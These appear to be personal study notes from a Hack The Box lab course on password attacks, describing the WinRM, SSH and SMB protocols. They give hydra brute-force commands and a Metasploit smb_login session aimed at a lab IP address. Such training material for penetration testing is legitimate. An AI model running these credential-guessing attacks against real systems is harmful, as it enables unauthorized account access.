Password attacks - WinRM
Windows Remote Management (WinRM) is the Microsoft implementation of the network protocol Web Services Management Protocol (WS-Management). It is a network protocol based on XML web services using the Simple Object Access Protocol (SOAP) used for remote management of Windows systems. It takes care of the communication between Web-Based Enterprise Management (WBEM) and the Windows Management Instrumentation (WMI), which can call the Distributed Component Object Model (DCOM).
However, for security reasons, WinRM must be activated and configured manually in Windows 10. Therefore, it depends heavily on the environment security in a domain or local network where we want to use WinRM. In most cases, one uses certificates or only specific authentication mechanisms to increase its security. WinRM uses the TCP ports 5985 (HTTP) and 5986 (HTTPS).
A handy tool that we can use for our password attacks is CrackMapExec, which can also be used for other protocols such as SMB, LDAP, MSSQL, and others.
Common network services installed to manage/edit/create content:
| FTP | SMB | NFS |
|---|---|---|
| IMAP/POP3 | SSH | MySQL/MSSQL |
| RDP | WinRM | VNC |
| Telnet | SMTP | LDAP |
pw attacks - ssh
This service uses three different cryptography operations/methods: symmetric encryption, asymmetric encryption, and hashing.
Symmetric:
- Same key for encrypt/decrypt
- Key exchange procedure required for symmetric
- Diffie-Hellman exch. method used for this purpose.
- AES; Blowfish; 3DES
Asym:
- Two keys: private/public keys.
- private must remain secret because it alone can decrypt msgs encrypted with pub key.
Hashing:
- Converts transmitted data into another unique value
- ssh uses hashing to confirm authenticity of messages - mathematical one-way algorithm
hydra:
hydra -L user.list -P password.list ssh://10.129.42.197
pw attacks - SMB
Server Message Block (SMB) is a protocol responsible for transferring data between a client and a server in local area networks. It is used to implement file and directory sharing and printing services in Windows networks. SMB is often referred to as a file system, but it is not. SMB can be compared to NFS for Unix and Linux for providing drives on local networks.
SMB is also known as Common Internet File System (CIFS). It is part of the SMB protocol and enables universal remote connection of multiple platforms such as Windows, Linux, or macOS
For SMB, we can also use hydra again to try different usernames in combination with different passwords.
hydra -L user.list -P password.list smb://10.129.42.197
we can also use metasploit
stejwes@htb[/htb]$ msfconsole -q
msf6 > use auxiliary/scanner/smb/smb_login
msf6 auxiliary(scanner/smb/smb_login) > options
[...]
msf6 auxiliary(scanner/smb/smb_login) > set user_file user.list
user_file => user.list
msf6 auxiliary(scanner/smb/smb_login) > set pass_file password.list
pass_file => password.list
msf6 auxiliary(scanner/smb/smb_login) > set rhosts 10.129.42.197
rhosts => 10.129.42.197
msf6 auxiliary(scanner/smb/smb_login) > run